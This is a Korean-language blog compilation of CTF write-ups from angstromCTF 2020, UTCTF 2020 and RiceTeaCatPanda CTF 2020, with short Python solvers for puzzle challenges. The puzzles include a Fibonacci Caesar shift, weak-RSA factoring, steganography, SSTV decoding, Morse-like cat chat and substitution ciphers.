반응형
반응형
반응형

Shifter

Misc

 

What a strange challenge...

It'll be no problem for you, of course!

 

 

 

Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift XECK by n=1

 

주어진 문자열을 n번째 피보나치 수열 만큼 shift 한 값을 보내면 된다.

 

 

EX

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
 
def fibo(n):
    t = [01]
 
    if n in (01):
        f = n
    else:
        for i in range(2, n+1):
            f = sum(t)
            t = [t[1], f]
 
    return f
 
 
 
 
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
 
= remote("misc.2020.chall.actf.co"20300)
 
for a in range(0,50):
    p.recvuntil("Shift ")
    taskstr = list((p.recvuntil(" ")).strip())
    p.recvuntil("=")
    n = fibo(int(p.recvline()))
 
 
    for i in range(len(taskstr)):
        taskstr[i] = alpha[(ord(taskstr[i]) - 65 + n) % 26]
 
    ans = ''.join(taskstr)
    print ans
    p.sendline(ans)
p.interactive()
 
cs

 

 

 

flag : actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}


Reasonably Strong Algorithm

Crypto

 

 

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

 

 

https://www.alpertron.com.ar/ECM.HTM

 

Integer factorization calculator

 

www.alpertron.com.ar

여기에서 n을 인수분해 해준다.

 

 

126 390312 099294 739294 606157 407778 835887 (39 digits) = 9 336949 138571 181619 × 13 536574 980062 068373

 

 

 

$ python rsatool.py -p 9336949138571181619 -q 13536574980062068373
Using (p, q) to initialise RSA instance

n = 126390312099294739294606157407778835887 (0x5f15e3803896f7b78f17d685eb590daf)

e = 65537 (0x10001)

d = 122116681453826726664714315157880092841 (0x5bded13dfcef588dae9e87c5c23eb8a9)

p = 9336949138571181619 (0x819381c5b26cbe33)

q = 13536574980062068373 (0xbbdb93397a0a3e95)

 

rsatool.py를 이용해서 d값을 구해준다.

 

c^d mod N

 

복호화

 

 

flag : actf{10minutes}

 

 

 


 

Wacko Images

Crypto

 

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py

 

 

enc.png

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from numpy import *
from PIL import Image
 
flag = Image.open(r"flag.png")
img = array(flag)
 
key = [413723]
 
a, b, c = img.shape
 
for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = pixel[i] * key[i] % 251
        img[x][y] = pixel
 
enc = Image.fromarray(img)
enc.save('enc.png')
cs

 

각 픽셀의 rgb 값에 각각 41, 37, 23을 곱하고 251로 나눈 나머지 값을 저장하여 enc.png 이미지를 만든다.

 

 

역연산을 해주면 되는데 251로 나눈 몫을 모르기 때문에 t로 두고 브포를 때렸다.

 

 

ex.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from numpy import *
from PIL import Image
 
flag = Image.open(r"enc.png")
img = array(flag)
 
key = [413723]
 
a, b, c = img.shape
 
for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            for t in range(0,41):
                if (251 * t + pixel[i]) % key[i] == 0:
                    pixel[i] = (251 * t + pixel[i]) / 23
        img[x][y] = pixel
 
enc = Image.fromarray(img)
enc.save('flag.png')
 
cs

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
반응형

Team : N0Named

 

 

 

Forensics

 

Observe Closely

50

A simple image with a couple of twists...

by phleisch

 

 

png 파일이 하나 주어진다.

 

 

이미지만 봤을 때는 정상이다. 그럼 hxd로 까보자

 

PNG의 푸터 시그니처인 end를 검색해주었더니 뒤에 PK시그니처가 있는 것을 볼 수 있다.

해당 뒷부분을 추출해서 zip파일로 만들어주면 elf 파일이 하나 존재한다.

 

ida 64bit로 뜯어서 main 함수를 확인하면 flag를 찾을 수 있다.

 

 

 

 

 


 

 

1 Frame per Minute

50

I recently received this signal transmission known as SSTV in a mode called Martian? This technology is all very old so I'm not sure what to do with it. Could you help me out?

by phleisch

 

 

wav 파일이 하나 주어진다.

 

SSTV에 사용되는 것인데

http://users.belgacom.net/hamradio/rxsstv.htm

 

RX-SSTV: Freeware SSTV Software and SSTV Decoder

 

users.belgacom.net

이걸로 디코딩을 할 수 있다.

 

(근데 꼭 마이크로 입력해야돼?)

 


[basics] forensics

50

My friend said they hid a flag in this picture, but it's broken! Now that I think about it, I don't even know if it really is a picture...

 

 

jpeg 파일이 주어진다.

 

이미지로는 안열려서 hxd로 열었다.

 

엥 그냥 plaintext잖아

 

메모장으로 열어서 플래그포멧인 utflag를 검색하니까 플래그가 바로 나왔다.

 

 


 

Spectre

50

I found this audio file, but I don't think it's any song I've ever heard... Maybe there's something else inside?

 

 

이번에도 오디오 파일인데 문제 제목이나 지문을 보면 오디오 스펙트럼을 봐야한다는 감이 온다.

 

 

그럼그럼

 

sonic visualiser 라는 프로그램을 이용하면 된다!

반응형

'CTF Write Up' 카테고리의 다른 글

2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
반응형

Team : N0Named

 

제가 푼 문제만 풀이를 적었습니다.

 

Misc

Strong Password

Eat, Drink, Pet, Hug, Repeat!

flags are entered in the format rtcp{flag}


Hints

  • Words are separated by underscores ("_")

  • Come on, repeat it! Just once!

 

먹는거 마시는거 애완동물 안아주기

반복!

밥 차 고양이 판다

 

flag : rtcp{rice_tea_cat_panda}

 

 

 

 


 

 

Forensics

 

Allergic College Application

100

I was writing my common app essay in Mandarin when my cat got on my lap and sneezed. Being allergic, I sneezed with him, and when I blew my nose into a tissue, the text for my essay turned really weird! Get out, Bad Kitty!

 

 

hxd로 파일 열어서 hex값 복사해다가 아래 사이트에서 인코딩을 변경해주었다.

https://dencode.com/string/hex

 

Hexadecimal String Converter Online - DenCode

Hexadecimal String Converter. (e.g. "Hello, world!" <=> "48 65 6C 6C 6F 2C 20 77 6F 72 6C 64 21")

dencode.com

GB18030 이나 EUC-CN 인코딩을 사용할 경우 다른 글자 깨짐 없이 전부 한자로 깔금하게 나온다.

설마하고 구글번역 돌려보니.. 깔끔한 문장이었다.

 

 

flag : {我_只_修改_了_两_次}

 

 


cat-chat

125

nyameowmeow nyameow nyanya meow purr nyameowmeow nyameow nyanya meow purr nyameowmeow nyanyanyanya nyameow meow purr meow nyanyanyanya nya purr nyanyanyanya nya meownyameownya meownyameow purr nyanya nyanyanya purr meowmeownya meowmeowmeow nyanya meownya meowmeownya purr meowmeowmeow meownya purr nyanyanyanya nya nyameownya nya !!!!

 

냐 냐냐냐냐냐프르르르르르

 

 

사용된 단어는 3가지이다.

In that conversation, 3 word used: nya, meow, purr

 

it seems like morse code.

nya => .

meow => _

purr => /

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
MORSE_CODE_DICT = { 'A':'._''B':'_...',
                    'C':'_._.''D':'_..''E':'.',
                    'F':'.._.''G':'__.''H':'....',
                    'I':'..''J':'.___''K':'_._',
                    'L':'._..''M':'__''N':'_.',
                    'O':'___''P':'.__.''Q':'__._',
                    'R':'._.''S':'...''T':'_',
                    'U':'.._''V':'..._''W':'.__',
                    'X':'_.._''Y':'_.__''Z':'__..',
                    '1':'.____''2':'..___''3':'...__',
                    '4':'...._''5':'.....''6':'_....',
                    '7':'__...''8':'___..''9':'____.',
                    '0':'_____'', ':'__..__''.':'._._._',
                    '?':'..__..''/':'_.._.''_':'_...._''_':'..__._',
                    '(':'_.__.'')':'_.__._'' ':'/''\n':'\n''':''':':"___..."'\'':'.____.'}
 
 
 
def decrypt(message):
    message += ' '
    message = message.replace("nya",".")
    message = message.replace("meow","_")
    message = message.replace("purr","/")
    decipher = ''
    citext = ''
    for letter in message:
        if (letter != ' ' and letter != '\n'):
            i = 0
            citext += letter
 
        else:
            i += 1
 
            if i == 2 :
                decipher += ' '
            else:
 
                decipher += list(MORSE_CODE_DICT.keys())[list(MORSE_CODE_DICT.values()).index(citext)]
                citext = ''
 
    return decipher
 
def main():
    message = '''nyameowmeow nyameow nyanya meow purr nyameowmeow nyameow nyanya meow purr nyameowmeow nyanyanyanya nyameow meow purr meow nyanyanyanya nya purr nyanyanyanya nya meownyameownya meownyameow purr nyanya nyanyanya purr meowmeownya meowmeowmeow nyanya meownya meowmeownya purr meowmeowmeow meownya purr nyanyanyanya nya nyameownya nya'''
    result = decrypt(message)
    print(result)
 
if __name__ == '__main__':
    main()
 
cs
WAIT WAIT WHAT THE HECK IS GOING ON HERE

good

 

than, go to the discord channel and copy all of the cat-chat and decode it!

 

 

than you can find this:

RTCP:TH15_1Z_A_C4T_CH4T_N0T_A_M3M3_CH4T

 

flag : RTCP{TH15_1Z_A_C4T_CH4T_N0T_A_M3M3_CH4T}

 

 


 

Chugalug's Footpads

Chugalug makes footpads that he can chug and lug. However, his left one is different from his right... I wonder why?

 

 

I downloaded 2 files: left.jpg and right.jpg

They seems that they are perfectly same, but they are not.

 

I used cmp command to find different data between left.jpg and right.jpg.

 

$ cmp -l right.jpg left.jpg 
  1720 122 162
  1721 115 164
  2041 105 143
  2042 121 160
  2328 160 173
  2329 165 124
  2330 102 150
  2854 240  63
  2855  63 172
  2856 154 145
  3016 144 137
  3017 201 136
  3019  24 162
  3110 161  63
  3332  14 137
  3626  21 156
  3627 232  60
  4215 112 124
  4405  40 143
  4413   2 110
  4775  62  64
  4776 347 156
  5125  57 103
  5149 114  61
  5150 112 141
  5400 364  65
  5401 362 175

 

1
2
3
4
5
6
7
= [162,164,143,160,173,124,150,63,172,145,137,136,162,63,137,156,60,124,143,110,64,156,103,61,141,65,175]
 
flag = ""
for cc in c:
    flag += chr(int(str(cc), 8))
print flag
 
cs

 

flag : rtcp{Th3ze_^r3_n0TcH4nC1a5}

 

 

 


Motivational Message

My friend sent me this motivational message because the CTF organizers made this competition too hard, but there's nothing in the message but a complete mess. I think the CTF organizers tampered with it to make it seem like my friend doesn't believe in me anymore, but it's working like reverse psychology on me!!!!

 

 

motivation!!!!!.txt 파일 하나가 주어진다.

 

It's reversed PNG file!

 

reverse it!

 

< motivation.txt xxd -p -c1 | tac | xxd -p -r > file.png

 

But there is no flag in picture.

 

 

I used zsteg and i can find a flag!

 

 

 


Web

 

growls at the chicken

grrrrrrR
big chicken, i hisS At you!!!


Hints

NQr2MIa1jsaifAVOn3zYeMynNJwd4oBiiem4fJHsA1WjzfyhUp1+seCW0GMijoDHb3w9BMKj7aw6hhtae5/Qw5xOqMioJU3vvEj0BEHO1wInPqlOeTRdZb8BcTsXP+Z/KBA2FjSZcpGHo7rOZ7NtR15y3eY4s/e/tgKUHvPe9MdmDe1kINtyRXgjghJO9e3uMEQmFe2Ai5moVnG7yIVfUd3QG6/Z+K4PSttbJtjWSLFO7zpmYpEOg3XBxsOw/w5scJQqJ7OLGiH22u4+JFXRlD/wPmDzk9uYlLWLcCuxnY0xuMlSfKIFJtVmF0ViO4o4X89ZwsQjjHuYYDaB3el7iA63BzBlsC54Q7Ekv70/GI0UA3R3zJkMaBV12Z6NAE/kAgEJu9ZRcVm6MAIZInLwMU4R1frM0Bks1jeTe72agmxnAIrR8XDeAxzovbvXFwoxNyxiA63fPJGPVoGZq4ecfGvJ23i/Cg+cynB35lc3f+4QifpjCn+MxWkKCzCVEJXdDah19yXKlIxbaR1zm+YHkS0YSUzjr7NJUXHfDCrwAUpXpikfi2f9tgcXEnuhszScE1PCbdt22rRz1pS7MNdRxjCZ5j+8BQNRBLi2BjLGW14X3zd4d6ieoHWH+4fmbqU9dFsUgKN5qL4Gs2LZbbQwkf3+VbIRQK9RaSO9Hj+4/T0=

 

Public

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmy27XroKLfED3q32/K7G +TnREe2ZkSgceDJH9X+Jf2I++kJHxNxe5HbQBdTHW/tLTWxwMEpric9zGFlt1f76 zdG2iocGw81BVznN/btVAYJBGbhJPYTeULSCv4WG+NTrss8NSl6WGS9NCOKEWTA/ JjR1z8fXik5foTK18sLJloRFGmxcKV6ZI0VFEi77U6PouOseaPBRYgVlPAjNM/pl AuJotPjFYtNTQWCgpj+Vgt3cxm9erBl8G9K9rIsK6snNA1yEZT774CMLCnyovkd5 i55/5mIjGOdmy+x3qCYC2J+Xmssx56OebPyO8cAou8XQf5E/PMxBZ+8X5zuqnHza 2oK9Lo4K2hYVGpCBmG8WhCstYVvfxeb0cXifPOZnpiC4DrQ3q5atx7sH1V4OaAze eJ+nWKTKVaT9NLKEC3ObUNtLLjoh3AZr/RFh9OsYf3rmRFflJkswlVpfMQF6MAR4 CrDITaTdL0M5RWzE2/1Mh98p2HvTJXz0bFbcIfAvd3rAYku0P3OyO3EZ7KrpGXZa 4Mdu10GKEllk9bwCmDFHK/HMVzZPFK9RvKNpMyWchLCLO2gRxIHySn3lF/MHlBkq 0+DH3YM5L0EW92Uzu/IkZJ4o3z7YnrMHdVVN14bGlBfspn+t7LT2xTx3sWYQLm6r xYeQDSkiY24IqAiQzwdPmi0CAwEAAQ==

 

Private

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

 

 

 

 

Add -----BEGIN RSA PRIVATE KEY----- and -----END RSA PRIVATE KEY----- to head and bottom of prviate base64 strings. than make private.txt

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_PKCS1_v1_5
from base64 import b64decode
 
enc ='''
NQr2MIa1jsaifAVOn3zYeMynNJwd4oBiiem4fJHsA1WjzfyhUp1+seCW0GMijoDHb3w9BMKj7aw6hhtae5/Qw5xOqMioJU3vvEj0BEHO1wInPqlOeTRdZb8BcTsXP+Z/KBA2FjSZcpGHo7rOZ7NtR15y3eY4s/e/tgKUHvPe9MdmDe1kINtyRXgjghJO9e3uMEQmFe2Ai5moVnG7yIVfUd3QG6/Z+K4PSttbJtjWSLFO7zpmYpEOg3XBxsOw/w5scJQqJ7OLGiH22u4+JFXRlD/wPmDzk9uYlLWLcCuxnY0xuMlSfKIFJtVmF0ViO4o4X89ZwsQjjHuYYDaB3el7iA63BzBlsC54Q7Ekv70/GI0UA3R3zJkMaBV12Z6NAE/kAgEJu9ZRcVm6MAIZInLwMU4R1frM0Bks1jeTe72agmxnAIrR8XDeAxzovbvXFwoxNyxiA63fPJGPVoGZq4ecfGvJ23i/Cg+cynB35lc3f+4QifpjCn+MxWkKCzCVEJXdDah19yXKlIxbaR1zm+YHkS0YSUzjr7NJUXHfDCrwAUpXpikfi2f9tgcXEnuhszScE1PCbdt22rRz1pS7MNdRxjCZ5j+8BQNRBLi2BjLGW14X3zd4d6ieoHWH+4fmbqU9dFsUgKN5qL4Gs2LZbbQwkf3+VbIRQK9RaSO9Hj+4/T0=
'''
 
rsa_key = RSA.importKey(open('private.txt'"rb").read())
cipher = Cipher_PKCS1_v1_5.new(rsa_key)
raw_cipher_data = b64decode(enc)
phn = cipher.decrypt(raw_cipher_data, None)
print(phn)
cs

 

plain text : unknown-123-246-470-726.herokuapp.com/

 

 

 

 

1
2
3
4
5
6
7
8
= [9,20,30,15,16,5,14,19,30,27,29,8,20,13,12,28]
ss = "0abcdefghijklmnopqrstuvwxyz[]. "
= ""
for i in range(len(s)):
    f+= ss[s[i]]
 
print f
 
cs

it opens [.html]

 


 

 

Cryptography

 

15

Lhzdwt eceowwl: Dhtnwt Pcln Eaao Qwoohvw

Okw qsyo okcln bah'i fslo cl baht Dhtnwt Pcln dhtnwt cy yazwalw'y eaao ehlnhy. Dho sy co ohtly aho, okso zcnko dw fkso bah nwo. S 4vksllwt hmqasiwi s mkaoa slalbzahyqb oa okw ycow ykafvsycln kcy ewwo cl s mqsyocv dcl ae qwoohvw, fcok okw yosowzwlo: "Okcy cy okw qwoohvw bah wso so Dhtnwt Pcln." Sizcoowiqb, kw ksi ykawy al. Dho okso'y wgwl fatyw.

Okw mayo fwlo qcgw so 11:38 MZ al Xhqb 16, sli s zwtw ofwlob zclhowy qsowt, okw Dhtnwt Pcln cl rhwyocal fsy sqwtowi oa okw tanhw wzmqabww. So qwsyo, C kamw kw'y tanhw. Kaf ici co ksmmwl? Fwqq, okw DP wzmqabww ksil'o twzagwi okw WJCE isos etaz okw hmqasiwi mkaoa, fkcvk yhnnwyowi okw vhqmtco fsy yazwfkwtw cl Zsbecwqi Kwcnkoy, Akca. Okcy fsy so 11:47. Oktww zclhowy qsowt so 11:50, okw Dhtnwt Pcln dtslvk siitwyy fsy mayowi fcok fcykwy ae ksmmb hlwzmqabzwlo. Ecgw zclhowy qsowt, okw lwfy yosocal fsy valosvowi db slaokwt 4vksllwt. Sli oktww zclhowy qsowt, so 11:58, s qclp fsy mayowi: DP'y "Owqq hy sdaho hy" alqclw eathz. Okw eaao mkaoa, aokwtfcyw plafl sy wjkcdco S, fsy soosvkwi. Vqwgwqsli Yvwlw Zsnsuclw valosvowi okw DP cl rhwyocal okw lwjo isb. Fkwl rhwyocalwi, okw dtwspesyo ykceo zslsnwt ysci "Ak, C plaf fka okso cy. Kw'y nwoocln ectwi." Zbyowtb yaqgwi, db 4vksl. Laf fw vsl sqq na dsvp oa wsocln aht esyo eaai cl mwsvw.

tovm{v4T3Ehq_f1oK_3J1e_i4O4}

 

치환암호다.

https://quipqiup.com/

 

quipqiup - cryptoquip and cryptogram solver

 

quipqiup.com

 

 

flag : rtcp{c4R3Ful_w1tH_3X1f_d4T4}

 

 


 

That's a Lot of Stuff...

Do you want some numbers? Here, take these numbers. I don't need them anyways. I have too many numbers at home, so go on, take them. Shoves numbers towards the computer screen

31 31 35 20 31 32 34 20 31 34 37 20 31 34 37 20 31 31 35 20 31 35 32 20 31 30 31 20 31 34 37 20 31 31 35 20 31 37 31 20 31 30 31 20 31 37 30 20 31 31 36 20 31 35 31 20 31 30 31 20 31 37 32 20 31 31 31 20 31 30 34 20 31 30 35 20 36 30 20 31 31 31 20 31 30 34 20 31 31 31 20 31 37 31 20 31 31 31 20 31 30 34 20 31 30 35 20 36 34 20 31 31 31 20 31 30 34 20 31 30 35 20 36 35 20 31 31 31 20 31 30 34 20 31 30 35 20 36 30 20 31 31 31 20 31 30 34 20 31 30 35 20 36 35 20 31 31 31 20 31 30 34 20 31 30 35 20 31 34 37 20 31 31 35 20 31 32 34 20 31 34 37 20 31 34 37 20 31 31 35 20 31 37 31 20 31 30 31 20 31 37 30 20 31 31 35 20 31 35 31 20 31 30 31 20 31 37 32 20 31 31 31 20 31 30 34 20 31 31 31 20 31 36 37 20 31 31 31 20 31 30 34 20 31 30 35 20 36 35

 

hex -> oct -> dec

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
task = '''36 31 20 36 31 20 36 34 20 34 30 20 36 31 20 36 31 20 36 36 20 34 30 20 37 31 20 37 31 20 34 30 20 36 31 20 36 31 20 36 32 20 34 30 20 36 31 20 36 32 20 36 33 20 34 30 20 37 31 20 37 31 20 34 30 20 36 34 20 37 30 20 34 30 20 36 31 20 36 31 20 36 30 20 34 30 20 36 31 20 36 31 20 37 30 20 34 30 20 36 35 20 36 31 20 34 30 20 36 31 20 36 31 20 36 34 20 34 30 20 36 31 20 36 31 20 36 35 20 34 30 20 36 34 20 37 31 20 34 30 20 36 34 20 37 30 20 34 30 20 36 31 20 36 31 20 36 30 20 34 30 20 36 31 20 36 31 20 36 35 20 34 30 20 37 31 20 36 35 20 34 30 20 37 31 20 36 37 20 34 30 20 36 31 20 36 31 20 36 34 20 34 30 20 36 35 20 36 31 20 34 30 20 37 31 20 36 35 20 34 30 20 36 35 20 36 32 20 34 30 20 37 31 20 36 35 20 34 30 20 37 31 20 37 31 20 34 30 20 36 34 20 37 30 20 34 30 20 36 34 20 37 30 20 34 30 20 36 37 20 36 36 20 34 30 20 37 31 20 36 35 20 34 30 20 37 31 20 37 31 20 34 30 20 36 35 20 36 32 20 34 30 20 36 31 20 36 31 20 36 36 20 34 30 20 36 31 20 36 31 20 36 35 20 34 30 20 36 31 20 36 32 20 36 35'''
 
task = task.replace(" "",")
print task
 
###
 
= [36,31,20,36,31,20,36,34,20,34,30,20,36,31,20,36,31,20,36,36,20,34,30,20,37,31,20,37,31,20,34,30,20,36,31,20,36,31,20,36,32,20,34,30,20,36,31,20,36,32,20,36,33,20,34,30,20,37,31,20,37,31,20,34,30,20,36,34,20,37,30,20,34,30,20,36,31,20,36,31,20,36,30,20,34,30,20,36,31,20,36,31,20,37,30,20,34,30,20,36,35,20,36,31,20,34,30,20,36,31,20,36,31,20,36,34,20,34,30,20,36,31,20,36,31,20,36,35,20,34,30,20,36,34,20,37,31,20,34,30,20,36,34,20,37,30,20,34,30,20,36,31,20,36,31,20,36,30,20,34,30,20,36,31,20,36,31,20,36,35,20,34,30,20,37,31,20,36,35,20,34,30,20,37,31,20,36,37,20,34,30,20,36,31,20,36,31,20,36,34,20,34,30,20,36,35,20,36,31,20,34,30,20,37,31,20,36,35,20,34,30,20,36,35,20,36,32,20,34,30,20,37,31,20,36,35,20,34,30,20,37,31,20,37,31,20,34,30,20,36,34,20,37,30,20,34,30,20,36,34,20,37,30,20,34,30,20,36,37,20,36,36,20,34,30,20,37,31,20,36,35,20,34,30,20,37,31,20,37,31,20,34,30,20,36,35,20,36,32,20,34,30,20,36,31,20,36,31,20,36,36,20,34,30,20,36,31,20,36,31,20,36,35,20,34,30,20,36,31,20,36,32,20,36,35]
 
flag = ""
for aa in a:
    flag += chr(int(str(aa), 16))
flag = flag.replace(" "",")
print flag
 
###
 
= [61,61,64,40,61,61,66,40,71,71,40,61,61,62,40,61,62,63,40,71,71,40,64,70,40,61,61,60,40,61,61,70,40,65,61,40,61,61,64,40,61,61,65,40,64,71,40,64,70,40,61,61,60,40,61,61,65,40,71,65,40,71,67,40,61,61,64,40,65,61,40,71,65,40,65,62,40,71,65,40,71,71,40,64,70,40,64,70,40,67,66,40,71,65,40,71,71,40,65,62,40,61,61,66,40,61,61,65,40,61,62,65]
 
flag = ""
for bb in b:
    flag += chr(int(str(bb), 8))
flag = flag.replace(" "",")
print flag
 
###
 
= [114,116,99,112,123,99,48,110,118,51,114,115,49,48,110,115,95,97,114,51,95,52,95,99,48,48,76,95,99,52,116,115,125]
 
flag = ""
for cc in c:
    flag += chr(int(str(cc), 10))
print flag
 
cs

 


 

General Skills

Treeeeeeee

It appears that my cat has gotten itself stuck in a tree... It's really tall and I can't seem to reach it. Maybe you can throw a snake at the tree to find it?

Oh, you want to know what my cat looks like? I put a picture in the hints.


Hints

Here, my cat looks like this:

